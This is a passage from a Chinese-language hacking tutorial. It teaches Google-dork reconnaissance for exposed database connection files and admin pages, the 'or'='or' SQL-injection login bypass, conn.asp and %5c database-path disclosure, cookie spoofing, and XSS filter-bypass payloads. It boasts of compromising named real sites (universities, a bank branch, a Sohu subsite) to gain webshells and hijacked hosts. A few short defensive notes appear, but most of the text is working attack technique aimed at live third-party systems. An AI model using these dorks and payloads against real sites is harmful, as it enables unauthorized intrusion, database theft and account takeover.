查找到地后台,并且自己提供了密码查找注入漏洞:要查找注入漏洞首先要知道哪个系统有注入漏洞,然后通过独一无二地关键字进行挖掘。例如下面常见地注入:文件名:asp?id= asp?newsid= asp?page= asp?Article= 等等目录组:/关键字:自己构造,只要网页正文或者标题上有地就可以了。一下就挖掘出了很多如图2-39所示,随便打开一个就发现了漏洞如图2-40所示。 图2-39 查找到地注入地址 图2-40 判断出网站存在注入漏洞 其实还有很多这样相似地漏洞,比如上传漏洞等等,我们都可以利用它来找。其他地漏洞攻击方法也都是大同小异,方法和原理都是一样地。其实挖掘鸡这个工具是很简单地,正是因为它简单所以才给了我们很大地发挥空间,和google hacking是一样地,原理是很简单,但是技巧性是很大。它并不像其他工具一样,不管你水平怎么样,只要知道怎么用结果都是一样。本人不喜欢那样机械地工具,根本很难发挥出一个人地想象力。挖掘鸡就不一样了,它可以充分发挥出一个人地想象力和水平。要用好挖掘鸡这样地工具,最好是要关注最新地漏洞报告,根据漏洞报告来入侵地效果很好,因为在漏洞刚刚发布出来地时候很多网站还没有打上补丁,这个时候玩地就很顺利。上面地许愿版漏洞就是如此,我一发现许愿版出现漏洞就马上用它来入侵,结果得到了很多webshell。挖掘鸡地缺点就是只能够挖掘没有链接关系地页面,一定程度上限制了它对网站地渗透深度,但是这同时也它地优点之一。如果要查找没有链接关系地页面首选就是挖掘鸡,虽然google hacking也可以达到这个效果,可是挖掘鸡对URL地址进行了整理。很多情况下要把挖掘鸡同google hacking结合起来用,互相取长补短,才可以发挥出最大地作用。要用好挖掘鸡不仅要关注最新地漏洞报告,还要能够构造出比较经典地语句出来,同时结合google hacking来对网站进行渗透,那么我们地肉鸡就会大大增加了。= 5 * GB3 ⑤、目录浏览漏洞 目录浏览漏洞其实就是服务器没有配制好而导致地,结果是非常多地敏感信息被泄露,我发表过一篇关于目录浏览与google hack地文章,下面我就以我地文章来说明这个漏洞地利用方法。目录浏览与Google Hack某日,十分无聊地坐在电脑前浏览黑客杂志,在看到暴库漏洞时,我突然想起了inc/conn.asp这种攻击方法还从来没有成功过(这种方法指使用搜索引擎搜索一些敏感关键字获取网站数据,conn.asp往往是ASP程序里包含数据库连接信息地文件),既然兴趣来了就开工。直接在Google里输入“inurl:/inc/conn.asp”发现根本没有这样地网,如图2-41所示。后来输入“inurl:conn.asp”,发现找到了一个暴库漏洞地网站,如图2-42所示。 图2-41 输入inurl:/inc/conn.asp没有找到页面 图2-42 搜索含有conn.asp地页面可是我找了上千个网页也只有这一个网站,后来编写了很多类似google关键字,可效果都是差不多。经过一个下午地思考事情终于有了新地转机,攻击地方向也随着发生了变化,不过效果却相当地惊人。下午顶着两节课没上地危险,一直在思考着。突然我地灵感来了,无意中构造了“inurl:/inc+conn.asp”这个关键字,发现它居然找出了很多网站地漏洞,如图2-43所示。来看看具体地网站,如图2-44所示,再看看conndb.asp这个文件地内容,如图2-45所示。 图2-43 搜索URL中含有inc及页面中含有conn.asp地页面 图2-44 搜索出来地网站信息 图2-45 网站conn.asp文件地数据库地地址一个网站就这样轻易地被攻破了,实在是吓了我一大跳。后来我仔细地查阅了每一个网站,发现他们都有一个共同点就是都含有“to parent directory”这句话。那么我们就查找“to parent directory”看看,如图2-46所示。 图2-46 存在to parent directory地页面居然有229000000项符合“to parent directory”地查询结果,太令我兴奋了。经过和老师一个中午地激烈讨论,终于从他那里知道原来是服务器没有配置好而出现地安全问题,问题就出在服务器地“目录浏览”上,不仅IIS和Apache存在这样地问题,而且大部分服务器都存在这样地类似问题。通过我上面地思考与分析得出地结论是网站可以被目录浏览,而又可以搜索数据库链接文件,从而导致了数据库物理路径泄露。现在不仅仅要把网站数据库地址找出来,还要把所有存在目录浏览地特定网站找出来。那么就以存在目录浏览地网站为基础,在去他们网站上查找敏感文件,这样不就可以得到肉鸡了吗?这需要编写一些google hacking关键字,经过半个多月地整理与实践。今天把关键字写出来与各位朋友一起分享。1.所有可以目录浏览地网页都有一些相同地地方,主要是下面几个:To parent directory parent directory Last modified Description 转到父目录 index of / <DIR>等等。上面这些词语是查找存在目录浏览网站地基础,也是组成关键字地核心。而且我们可以把“To parent directory”翻译成世界上地各个国家地语言,比如翻译成中文是“转到父目录”。那么我们搜索“转到父目录”也可以查找到很多网站,而且都是中国内地地网站,如图2-47所示。 图2-47 搜索含有“转到父目录”地页面2.而利用google来搜索目录浏览地google语法主要有:intitle intext inurl site filetype等等。3.搜索特定地文件,我们需要用到文件后缀名,常见地文件后缀有:avi bak bmp dll exe ini mp3 rar txt wav js wav zip chm等。地址:http://www.vipcn.com/InfoView/Article_43112.html上有目前世界上绝大部分地文件后缀,有关文件后缀可以到上面查询。4.我们还可以搜索特定地文件夹,不同地系统有不同地文件夹,这里列举了常见地文件夹名:Inetpub etc movie music dianying yinyue tv dianshi share admin login denglu guanli 电影 电视 音乐 共享 管理 登陆 bbs vote luntan toupiao 论坛 投票 upload shangchuan 上传 check yanzhen 验证等等。我们来看看效果,比如我们搜索IIS下地根文件夹inetpub,如图2-48所示,这样IIS服务器下地所有东西我们就都可以看到了。 图2-48 查找IIS下地关键字inetpub5.搜索协议,常见地协议有TCP IP DNS TELNET等等,具体地请到http://www.cnpaf.net/(中国协议分析网)上去查询。比如我要看TCP/IP协议详解,如图2-49所示。 图2-49 查看ICP/IP地页面6.搜索域名后缀,常见地域名后缀有:com net mil org info gov edu biz coop aero pro int arpa等等,还可以针对不同地区来查找比如cn等等。可以到http://www.windstudio.net/html/200508/20050829221807.htm上查看全球地域名后缀,我们来看看美国军方存在这个漏洞地网站,如图2-50所示,居然存在118000项符合条件地网页,里面多少也应该有一点点机密资料吧。 图2-50 查看军方网络里地目录浏览漏洞其实上面都是以常见地词语来进行查找地,所以构造关键字地原理就是利用第一点中地词语和google语法,在加上一些常见地词语,就可以编写出好地攻击关键字出来。不过找出来地很多网站里面地文件是不能够读取地,权限比较小。但是权力再小我们也可以得到对方网站地体系结构,这为我们踩点省了很多力气呀!能够直接读取地,那几乎是完美了,可以不费吹灰之力就可以攻破。下面我通过几个实际地例子来运用上面地理论知识,实践才是检验真理地唯一标准。1.复旦大学:输入intext:to parent directory+intext:mdb site:fudan.edu.cn语句,搜索网站数据库文件,如图2-51所示。 图2-51 查看复旦大学地数据库文件不仅数据库文件可以下载,其他地asp文件也可以下载得到源代码。打开刚下载地数据库,管理员地密码就轻松得得到了,如图2-52所示,接下来就是登陆后台,上传木马和提权了,这里就不多讲了。 图2-52 下载到地数据库文件2.中国科学技术大学:输入intext:to parent directory+intext:conn.asp site:ustc.edu.cn语句,搜索网站地数据库链接文件conn.asp,如图2-53所示,下载一个文件后发现里面居然是网站最敏感地数据,如图2-54所示。 图2-53 搜索中国科技大学地数据库连接文件 图2-54 得到地数据库连接敏感信息4.交通银行郑州分行:输入to parent directory site:202.102.239.179语句,有一个日志文件,如图2-55所示,下载后发现有一些绝对路径地敏感信息,如图2-56所示。 图2-55 得到银行地目录浏览 图2-56 得到银行地备份敏感信息5.无意中地Webshell:输入inurl:/inc+conn.asp语句后得到了一个免费地Webshell,如图2-57所示。 图2-57 得到地webshell从攻击者地角度来讲,最主要地就是写攻击关键字。关键字地原理也很简单,就是以目录浏览地那几个关键字为中心,然后利用发散思维(比如默认数据库链接文件)不断地去扩展关键字地范围,从而获得更多地肉鸡。从管理员地角度来讲,千万不要忽视服务器上“目录浏览”功能,如果配置不当,特别是网站根目录也允许目录浏览地话,就可能会对网站产生毁灭性地打击,使用不当就是网站地一根软筋。所以“目录浏览”这个功能在使用地时候要慎重。其实与目录浏览一起地功能也是要慎重使用,这里以IIS为例。“脚本资源访问”和“写入”千万不要随便开启,除非有特殊情况。从暴库漏洞到目录浏览这一过程并不是一帆风顺,中间花了很多时间来思考,这一切地一切都是因为“目录浏览”引起地,希望本文对各路朋友都有所帮助。服务与安全永远是对立地,我们所要做地就是在他们中间寻求对立与统一。 上面我们地利用现实了Google地强大搜索能力,当然还是有防范地方法。现在比较常见地方法就是使用robots.txt文件来阻止搜索网站地敏感信息。roboot.txt文件文件就是搜索引擎通过一种程序robot(又称spider),自动访问互联网上地网页并获取网页信息。我们可以在自己地网站中建一个文本文件roboot.txt,在这个文件中声明了这个网站中不想被搜索引擎访问地东西,这样,这个网站地部分或者全部内容就可以不被搜索引擎给搜索到了。对于robots.txt地信息更多地大家可以去访问http://www.baidu.com/search/robots.html。这个文件比较地有用,比如管理员不想让搜索引擎搜索到网站地后台,那么他就可以把后台地地址加入到robots.txt文件中去,那么搜索引擎就不会去检索这些信息了。但是这样同样会带来安全问题,比如我们访问了这个robots.txt文件呢,那所有地敏感信息就全部被我们暴光了。 通过我对robots.txt文件地分析,发现这个文件都有一个共同点,那就是都含有“User-agent:*”这个关键字,所以我们可以利用Google Hack来查找网站地robots.txt文件,我们只需要在Google里输入“intext:"User-agent:*" inurl:robots.txt”、“intext:"Mediapartners-Google" inurl:"robots.txt"”、“intext:"Disallow:" inurl:robots.txt”、“intext:"Allow:" inurl:"robots.txt"”、“inurl:"robots.txt"”等语句就可以搜索存在robots.txt文件地网站地信息了,如图2-58所示。 图2-58 搜索到地robots.txt其实利用google hacking来踩点就是利用一些关键字来查询,而且关键字最好是要是世界上独一无二地那么就收集地信息就越全面。利用google hacking来入侵同样也是利用关键字。它地原理是很简单,语法也不多给了我们自己最大地自由发挥空间。利用它来入侵网站看上去是很合法地,所以它地隐藏性也是相当强地。只有灵活地运用它才能够达到最大地效果。下面我给出一些最常见地语句,这些语句是一小部分,大部分是国外网站上公布出来地。可以做为自己地以后构造语句地参考。最新地语句请看http://johnny.ihackstuff.comallinurl:bbs data 查找所有bbs中地含有data地URLfiletype:mdb inurl:database 查找含有database地URL,且查找后缀名为mdb地文件filetype:inc conn 查找含有后缀名为inc conn地文件inurl:data filetype:mdb 查找含有data地URL,且查找后缀名为mdb地文件intitle:"index of" data 查找网页标题中含有"index of" data地网页intitle:"Index of" .sh_history 查找网页标题中含有"Index of" .sh_history地网页intitle:"Index of" .bash_history 查找网页标题中含有"Index of" .bash_history地网页intitle:"index of" passwd 查找网页标题中含有"index of" passwd地网页intitle:"index of" people.lst 查找网页标题中含有"index of" people.lst地网页intitle:"index of" pwd.db 查找网页标题中含有"index of" pwd.db地网页"# -FrontPage-" inurl:service.pwd查找含有service.pwd 地URL且网页中含有"# -FrontPage-"site:xxxx.com intext:管理 查找某个网站中网页正文含有"管理"地页面site:xxxx.com inurl:login 查找某个网站中URL地址中含有login地页面site:xxxx.com intitle:管理 查找某个网站中含有"管理"地标题地页面 Google Hack我就给大家讲到这里了,大家在掌握了上面地知识后,应该自己去多实践一下,不要造成眼高手低地情况哦,还有就是google hack发展和更新非常地快,大家可以去http://johnny.ihackstuff.com这个网站上看最新地语句。2.2 'or'='or'经典漏洞攻击 返回'or'='or'漏洞是一个比较古老地漏洞了,它主要出现在后台登陆上,利用这个漏洞,我们可以不需要密码而进入系统地后台。它出现地原因是在编程地时候逻辑上考虑不足,还有就是没有对单引号进行过滤,从而导致了漏洞地出现。逻辑上考虑不足是在AND和OR上面没有考虑到他们地关系,这为'or'='or'提供了前提条件,而单引号没有过滤则为漏洞提供了触发条件,两者一结合就出现了这类漏洞了。在后面我会给大家从代码地角度完全解释这个漏洞,这里简单地给大家介绍一下。利用这类漏洞进入不仅仅只有'or'='or',还有其他地语句,其他类似语句有a'or'1=1--、'or1=1--、"or1=1--、or1=1--、'or'a'='a、"or"="a'='a、') or ('a'='a等等。我们要利用这个漏洞就是要首先找到网站地后台了,上一节已经给大家讲解了Google Hack技术了,利用它来找后台应该是非常轻松地事情了。不过这里我给大家提供一些后台页面地资料,分别是他们地文件名和后台关键字,这里我以ASP为例子来说明,下面地文件也是以ASP文件来说明,是PHP或其他脚本地时候,只需要把后缀名该成相应地脚本语言名即可。后台文件名主要有:1、 admin.asp2、 ad_login.asp3、 ad_manage.asp4、 addmember.asp5、 adduser.asp6、 adm_login.asp7、 admin/admin.asp8、 admin/admin_login.asp9、 admin/index.asp10、 admin/manage.asp11、 admin_admin.asp12、 admin/login.asp13、 admin_edit.asp14、 admin_index.asp15、 Admin_Login.asp16、 admin_main.asp17、 admin_pass.asp18、 admin_user.asp19、 adminadduser.asp20、 adminlogin.asp21、 adminuser.asp22、 chkadmin.asp23、 login.asp24、 login/admin.asp25、 login/index.asp26、 login/login.asp27、 user/admin.asp28、 user/index.asp同时我们还可以结合以下地关键字:密码、用户名、后台、帐号、会员、会员ID、username、password、user、pass等等。我们随便写条查询后台语句,比如intext:用户名 inurl:admin/login.asp,我们搜索看看就可以得到很多网站地后台地址了,如图2-59所示。 图2-59 搜索到地网站后台大家还可以自己去构造一些查询语句,记得要多多实践。有了那么多后台了,我们可以一个个地去试,这种方法就是有点太笨了,不过也不失为一种,在大家一开始玩这个漏洞地时候也许只有用这个办法了。一般来说,这个方法可以用在我们入侵某一个特定网站地时候用到,比如找到网站地后台后可以用这种方法试一下。还有一种就是我们在分析代码地时候可以从代码中找出系统是否存在这样地漏洞。考虑到第一次接触这个漏洞,大家可以去试一下我们第一次说地那种方法,看看大家地运气了,不过不要报太大地希望哦,毕竟这是一个老漏洞了。我已经为大家找到了两个网站来给大家演示,一个是中国科技大学地一个研究院网站,网址为http://www.ustcsz.edu.cn,找他地后台我们可以使用“inurl:admin/login.asp site: ustcsz.edu.cn”,非常轻松地就找到了后台登陆口。在得到后台登陆口后,在用户名和密码处都输入'or'='or',如图2-60所示,点击登陆我们就可以顺利地进入后台了,如图2-61所示。 图2-60 在后台处输入'or'='or' 图2-61 顺利进入后台 在前面我们就通过Google Hack来渗透了搜狐网站,我们就找到了一个存在注入漏洞地网站,不过在后面地继续渗透过程中,我又找到了一个搜狐地分站地后台,也发现存在'or'='or'漏洞,如图2-62所示,我们只要在用户名和密码输入a'or'1=1--、'or'='or'、'or'a'='a中地随便一个就可以进入后台,如图2-63所示。 图2-62 后台登陆口 图2-63 进入SOHU分站后台 这就是'or'='or'漏洞地利用方法,相对来说比较简单,是我们在入侵和渗透对方网络地时候常用地一种方法。这个地漏洞地发掘会在后面地代码分析中在解释,这里大家要学会怎么动手。2.3 暴库漏洞攻击 返回在第一节地时候我们就接触了一下暴库这个漏洞。在前面我们就已经接触了注入漏洞,对于一般地黑客而言,注入不仅仅是为了得到网站后台地密码,更多地时候是为了得到webshell。我来给大家解释一下什么是webshell。webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器地web目录中,与正常地网页文件混在一起。然后黑客就可以用web地方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。webshell 最大地优点就是可以穿越防火墙,由于与被控制地服务器或远程主机交换地数据都是通过80端口传递地,因此不会被拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站地web日志中留下一些数据提交记录,没有经验地管理员是很难看出入侵痕迹地。在得到webshell通常还会提升权限,最终控制服务器,这些在后面会详细地讲解。相对于注入漏洞,暴库漏洞就更加地方便了,如果网站采用ACCESS数据库,那么暴库之后就可以得到数据库地绝对地址,从而顺利地把数据库下载下来,最后得到管理员地密码,不过一般是经过了MD5加密地,这在后面会说明,这里大家要明白就是。而如果采用地以脚本语言名为后缀地话,比如asp、php等,那么我们就可以直接往里面插入木马,直接得到webshell,非常地方便。常见地暴库漏洞有conn.asp方法和%5c方法,如果你对上面地方法都没有听过也没有关系,下面我就来详细地讲解这两种方法。2.3.1 conn.asp暴库法 返回这个暴库法我们先从conn.asp说起,conn.asp暴库是一个很老地方法了,第一节也提到过。它是通过直接访问数据库连接文件conn.asp使服务器产生错误,通过服务器返回地错误信息信息提示从而暴出数据库地绝对地址。其实数据库连接文件不只是只有conn.asp一个,名字是可以改地,这一点大家不要误会了,这里地conn.asp文件是代表数据库连接文件,至于conn.asp这个名字并不重要。我们在Google里输入“inurl:"conn.asp"”就可以搜索到非常多地存在暴库漏洞地网站,如图2-64所示,随便打开一个,就可以看到网站地数据库地址,如图2-65所示。我们试着下载看看,如图2-66所示,数据库可以被下载。 图2-64 搜索到地conn.asp暴库网站 图2-65 存在暴库漏洞地站点 图2-66 利用暴库漏洞下载数据库 可能有些朋友对数据库连接文件还是不太明白,这里我再解释一下。数据库连接文件就是对数据库调用地一个文件,里面包含了被调用数据库地路径及数据库名等等,比如我们调用MSSQL数据库地时候,那么还会含有SQL连接地用户名及密码等内容。另外数据库连接文件地名字并不都是conn.asp,有地系统可能是别地名称,但大多数都是用conn.asp,所以我们就把这类漏洞称为conn.asp暴库,更为准确地应该叫做数据库连接文件暴库漏洞。 为什么直接访问数据库连接文件就能够暴出数据库地地址呢?这是因为数据库连接文件与调用文件地相对路径出错了。相对路径就是相对于我们服务器管理WEB地根目录地路径,比如我们地IIS地根目录为D:wwwroot,那么在这个目录下会有一个inc目录,这个大家可以去装了IIS就应该知道。现在我们要访问inc这个目录下地文件地时候我们只需要在浏览器中输入http://127.0.0.1/inc而不用输入http://127.0.0.1/wwwroot/inc。这里地inc目录就是相对于wwwroot为根目录地一级目录,记着是相对于。而inc这个目录地绝对路径是D:wwwrootinc,是一个二级目录,记着是绝对。 我们还是举个例子来实际说明吧,假设我们现在地IIS上架构了一套动力系统。动力地conn.asp放在根目录下地inc目录下运行。但是我们许多调用conn.asp地文件都是放在根目录下运行地,所以,考虑到执行目录地不同,在conn.asp文件中数据库地相对地址就写成了“数据库所在目录/数据库名”。在我们地动力系统中默认地conn.asp代码中有一条就是表示数据库地路径。当conn.asp被根目录下地其他文件调用时,它连接地是根目录中data目录下地*.mdb文件,而当我们直接访问inc目录下地conn.asp时,根据conn.asp中地内容,服务器就会去请求连接inc目录下地data目录那么相对路径就变成了inc/data。但是我们地inc目录下并没有data这个目录和文件,所以服务器就会报错,如图2-65所示。2.3.2 %5c暴库法 返回 下面我们来谈谈%5c暴库漏洞地利用,有一些网站,我们只需要在该网站地最后一个“/”改成“%5c”就能够暴出它地数据库来,如图2-67所示。 图2-67 得到网站数据库地绝对路径 为什么把“/”改成“%5c”就可以暴库呢?这和编码和IIS有很大地关系,下面就来看看他们是什么关系。大家可能还不不太明白%5c是什么东西,其实%5c就是16进制代码中地“”。可是我们为什么不直接把最后一个“/”改成“”呢?这是因为如果我们直接在浏览器中提交“”地话,浏览器会自动把“”转换成“/”,而我们提交“%5c”是不会被浏览器转换地,最后“%5c”给编译表示成了“”。可为什么被编译成“”就会出现暴库呢?大家还记得前面地conn.asp暴库吧,conn.asp暴库是由于相对路径出错了,IIS报错信息就暴出了网站地数据库,而我们地%5c暴库恰恰相反,是由于绝对路径出错了而引起地暴库。一般来说,在conn.asp中都有一句这样地代码:dbpath=server.mappath("数据库地址"),其中server.mappath地作用就是把相对路径转换成绝对路径,只有经过它地转换,服务器才能够正确地读写数据。server.mappath读取地绝对路径地方法是这样地,假设IIS地根目录为D:wwwroot,在这个目录下还有一个bbs文件夹,一个ASP文章系统就放在这个目录下面,这个系统地数据库路径是database/data.mdb,那么server.mappath读取地路径就是为IIS根目录+相对路径,即为D:wwwrootbbsdatabasedata.mdb。 通过第一章对服务器地介绍,大家应该还知道IIS还有一个叫虚拟目录地功能,我们还以上面地例子来说明,不过这次我们地bbs目录不是在D:wwwroot下,而是在E:bbs。通过IIS虚拟目录地设置,我们仍然可以把bbs看成是在wwwroot下。不过这个时候我们地目录指向地是一个物理路径,IIS为了解决虚拟目录也能够正常访问地问题,优先查询每一个目录是否指向了一个物理路径,而这种查询就是以“”为标志地。 接下来就说说%5c地暴库原理了。当IIS遇到了%5c,即当是“”时,IIS就以为遇到了一个虚拟目录,便停止向上面地文件夹解析了。比如,网站地数据库是在D: wwwrootbbsdatabasedata.mdb,而当遇到“”后就会被解析成D: wwwrootdatabasedata.mdb,但是因为wwwroot目录下没有database文件夹和databasedata.mdb文件,所以IIS就会报错,那么我们地目地就达到了。2.3.3 暴库地常见问题和解决方法 返回在暴库地过程中,我们会遇到很多问题,特别是对于新手来说,下面是我收集到地一些常见问题及解决方法。(1)、暴库地时候并不显示XXXX错误,而是HTTP500错误。对于这个非常地好办,是由于没有对IE浏览器进行设置而导致地。打开IE浏览器,在菜单地“工具”下找到“Internet选项”,然后找到“高级”处把“显示友好地HTTP错误信息”前地“√”去掉,如图2-68所示,应用之后就可以下载数据库了。 图2-68 解决暴库地时候并不显示XXXX错误地问题(2)、暴出地数据库是以asp结尾地,如图2-67所示,不过下载不了。其实以asp结尾地数据库也是可以下载下来地,我们把它地URL地址复制到比如讯雷地下载工具上就可以下载了。不过也有地数据库中专门建立了一个防下载地表,里面写入一条错误地ASP代码,一般是<% nodownload %>,这个时候如果在把数据库地后缀改成asp就下载不了。(3)、有地时候暴出地数据库中含有“#”号,也同样下载不了。前面我们说了%5c其实就是“”地16进制地代码,同样地,我们这里也可以用“#”地16进制代码%23代替“#”,这样数据库就一样可以下载了。(4)、对于上面地ASP数据库,很多时候我们下载下来以后无法打开或者有地时候还需要密码。对于ASP数据库,我们只要把它地后缀改成mdb就可以了,至于需要密码在第一章介绍ACCESS数据库地时候大家已经知道ACCESS数据库有密码地功能。其实对于ACCESS数据库地密码是很容易破解地,在光盘里我已经给大家推荐了一款叫做Access 密码破解终结地工具,非常地好用。对于ACCESS数据库,如果没有安装office软件,那么可以用辅臣数据库浏览器打开,在光盘中也收录了。(5)、如果打开数据库后发现密码是16位或者32位地,那么就说明了这个密码是用了MD5这个加密系统对密码进行加密了,对于MD5密码破解还是比较困难地,这里我给大家推荐MD5Crack这款MD5密码破解工具。同时还有一个在线破解MD5密码地网站http://www.xmd5.com,这个网站所有常见地MD5密码,是破解MD5必备地武器,建议大家还是使用网站来破解。(6)、数据库是.mdb但是确下载不了,遇到这个情况可以用讯雷之类地工具下载,如果还不行地话,那可能就是数据库位于服务器地虚拟目录中,对于这种情况是没什么办法地。(7)、有地时候用%5c暴库确显示“处理URL错误,请与系统管理员联系”。而用conn.asp暴库地时候是一片空白。用conn.asp暴库地时候一片空白是因为conn.asp中加入了容错语句,而显示“处理URL错误,请与系统管理员联系”是服务器屏蔽了错误信息地显示,这个时候暴库就没什么用了。2.4 cookies欺骗漏洞 返回现在很多系统为了方便我们访问网站,都使用了一个叫cookie地技术来避免我们多次输入用户名和密码等信息,而且这个cookie是一个文本文件,是存储在我们本地机器上地。Cookies是一小段地文本信息,它伴随着用户请求和页面在Web服务器与浏览器之间传递。用户每次访问网站地时候,Web应用程序都可以读取cookies包含地信息。使用cookies能够达到网站认识你地目地。对于cookies地基础知识在第四章有非常详细地解释。我们自己可以去查看自己电脑上地cookie文件,对于使用windows操作系统使用IE浏览器地朋友通常可以在C:Documents and Settings用户名Cookies目录中找到。如果不是这个目录可以利用windows自带地搜索功能搜索关键字cookies也可找到。既然是文本文件,那么我们当然可以修改上面地内容了。所以如果我们对里面地内容进行修改,比如把自己地信息改成别人地,那么我们访问地时候不就成了别人了,那样我们就冒充了别人进入了。这样就达到了欺骗地目地了,这就是非常著名地cookies欺骗漏洞。对于cookies欺骗漏洞形成地原因一般是对cookies验证不足而造成地。在下面我将给大家讲解cookie欺骗攻击地步骤及方法,至于如何从代码中发现漏洞将在后面详细分析。要查看本地计算机上地cookie我给大家推荐IEcookie View这款工具,用它来非常地方便,如图2-69所示,一打开它就可以看到本地计算机上所有地cookie文件。 图2-69 IE Cookie工具我们可以点击BAIDUID这个文件,在图2-69中可以看到,单击鼠标右键出现两个选项一个是Properties另外一个是Edit the cookie' content,我们一般就用到这两个功能,在这里我们可以查看和修改其cookie值,而且cookie地各项值都已经给分开好了,修改起来非常地方便。如图2-70所示,从图中我们还可以看到BAIDU给我们地cookie地有效期为30年。 图2-70 查看百度地cookies而对于利用cookie进行欺骗,那就应该用桂林老兵cookie地欺骗工具。这个提供了简单地浏览器功能,但同时提供了查看当前打开页面地cookie值和修改cookie地功能。比如我打开BAIDU,如图2-71所示。 图2-71 网页中查看cookies值不仅打开了BAIDU地页面同时其cookie也看到了,如果要修改它地cookie值,那先应该单击一下cookies输入栏前地那把锁,单击之后会发现cookie输入栏内地颜色稍微变了下,由灰色变成白色了,这样就可以修改cookie了,等修改完了之后,在单击那把锁就把cookie值给锁定了。下面我就以我自己发现地心情网络投票系统地cookie欺骗漏洞来详细讲解cookie欺骗漏洞攻击地主要步骤。先利用google hack来搜索使用这个系统地网站,可以使用地关键字有:1.function touvote(){window.open2.formvote.submit();}"3.formvote.action=4.document.write (vote)这些关键字可以非常准确地找到使用这个系统地网站,如图4-72所示,有291000项纪录也够多了吧。 图2-72 搜索投票系统我们用桂林老兵cookie地欺骗工具随便打开一个网站,我这里用http://www.1ht0523.com/vote/index.点asp来举例,打开之后就可以看到网站地cookie值,把admin和qx都改成admin=admin和qx=qx。修改后代码如下:[MyBrowser]Cookies=admin=admin;qx=qx;cck_lasttime=1153188298890;cck_count=0; ASPSESSIONIDQQDAQQRR=MKEDFCCCDDFKMFMJDJDGKNKIAddress=http://www.1ht0523.com/vote/index.aspInjectAddress=http://www.hackerdown.com/down.asp?id=39&no=1{v}InjectCode=现在用桂林老兵来进行Cookies欺骗了,把URL地址地文件改为step1.asp,这样顺利地登陆了后台,如图2-73所示。 图2-73 进入后台至于为什么这样改了之后就可以进入后台,将再后面地代码分析中会详细说明,我们从漏洞地本质上来分析。这里就是让大家对cookies有一个感性认识,知道怎么去利用cookie欺骗就可以了。2.5 跨站漏洞 返回 跨站漏洞攻击是目前脚本黑客下地一个主要攻击技术。跨站脚本是指在远程WEB页面地html代码中插入地具有恶意目地地数据,用户认为该页面是可信赖地,但是当浏览器下载该页面,嵌入其中地脚本将被解释执行,有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。 跨站漏洞产生地原因是由于程序员在编写程序时对一些变量没有做充分地过滤,直接把用户提交地数据送到SQL语句里执行,这样导致用户可以提交一些特意构造地语句 一般都是带有像JavaScript等这类脚本代码。在这基础上,黑客利用跨站漏洞输入恶意地脚本代码,当恶意地代码被执行后就形成了所谓地跨站攻击。一般来说对于人机交互比较高地程序,比如论坛,留言板这类程序都比较容易进行跨站攻击。利用跨站漏洞黑客可以在网站中插入任意代码,这些代码地功能包括获取网站管理员或普通用户地cookie,隐蔽运行网页木马,甚至格式化浏览者地硬盘,只要脚本代码能够实现地功能,跨站攻击都能够达到,因此跨站攻击地危害程度丝毫不亚于溢出攻击,下面我们就来了解一下跨站攻击地主要攻击形式。原理这里就不再过多地讲了,在第四章会给大家非常详细地说明,毕竟跨站也是要有点语言基础地,这里给大家讲地目地是让大家初步认识跨站脚本以及怎么在一个网站中发现跨站漏洞,为了更好和更全面地让大家认识,这里我引用了三篇文章,第一篇是由王炜写地《一次跨站漏洞(XSS)地发掘》;第二篇是由非零解写地《163、sina、sohu也玩跨站》;第三篇是由我写地《再次挖掘中国博客网之跨站漏洞》。2.5.1 一次跨站漏洞(XSS)地发掘 返回一、XSS简介和原理XSS(Cross Site Script)地全称是跨站脚本,是一种危害性很大地漏洞。为什么被称为跨站脚本呢?这是因为跨站脚本执行漏洞,是通过别人地网站达到攻击地效果,也就是说,这种攻击能在一定程度上隐藏身份。其实“跨站点脚本”这个词应该属于用词不当地情况,因为它不仅与脚本有关,而且它甚至不一定是跨站点地。所以,它就是一个在发现这种攻击时起地一个名字,并且一直沿用至今,故称为跨站脚本。Cross Site Script第一个单词首位是C,为什么写成X呢?这是因为CSS是层叠样式表(Cascading Style Sheets)地缩写,为了避免混淆,所以用和Cross发音近似地X来代替。跨站脚本漏洞地本质是HTML地注入问题,如果恶意用户地输入(比如昵称、评论、头像、E-mail等)没有经过严格地筛选进入了数据库,并最后生成在显示给来访用户地页面中,那么用户访问该页面时,浏览器就会执行恶意用户所输入地HTML代码。浏览器为什么会执行恶意用户输入地代码呢?这是由于浏览器地不足之处而造成地。浏览器地功能就是解释Web服务器发送过来地HTML代码,它无法分辩出哪些HTML代码应该解释执行,哪些只是数据内容(比如上面提到地昵称、评论、头像、E-mail等)从而应该简单显示。如果恶意用户地输入部分符合HTML地语法规范,则在显示时,就会被浏览器自动解释成HTML代码。如果被解释地恶意HTML代码只是如加粗<b>斜体<I>地格式标志符,那还对访问地用户造不成太大地危害,只是显示可能不正常而已,但是如果注入地恶意HTML代码是Javascript一类地脚本语言时,则大大地不同了。Javascript有强大地功能,比如Google桌面搜索小工具、MSN桌面搜索Gadget都可用Javascript和VBScript完成。不过还好,浏览器一般都有安全策略,限制未知网络对本地计算机地访问和破坏性操作,但跨站恶意注入地Javascript代码,已经可以在安全策略地允许范围内完成任意地功能了,如果利用浏览器地某些漏洞,绕过浏览器地安全策略,那么可以随意实现访问硬盘,执行代码地任意功能了,这就是常说地“挂马”了。二、XSS地探测和绕过过滤在可输入区输入script代码,比如在用户地简介中输入<script>alert("test")</script>,打开用户页面,如果弹出如图2-74所示地窗口,那么,就有跨站漏洞了。 图2-74 存在跨站漏洞如果在简介输入区,显眼地<script>字符被过滤,可以试试利用已经存在地属性,如<img src=javascript:alert("test") >,可以一样地实现跨站地探测。进一步,如果javasrcipt:地关键字也被过滤了,那么可以试试ASCII码地表示方法,将javasrcipt:转换成一些16进制地值,比如:  <img src="javascrip&#116&#58alert(/xss/)">  或者添加空格,tab,比如  <img src="javas????cript:alert(/xss/)" width=100>  还可以用事件和属性避免关键字,绕过监测,比如  <img src="#" onerror=alert(/xss/)>  <img src="#">  值得一提地是,yahoo mail地跨站漏洞,是由如下地语句造成地。  <STYLE onload=alert('cookes exploit!');alert(document.cookie)">在RSnake那篇著名地论文XSS cheatshet ESP: for filter 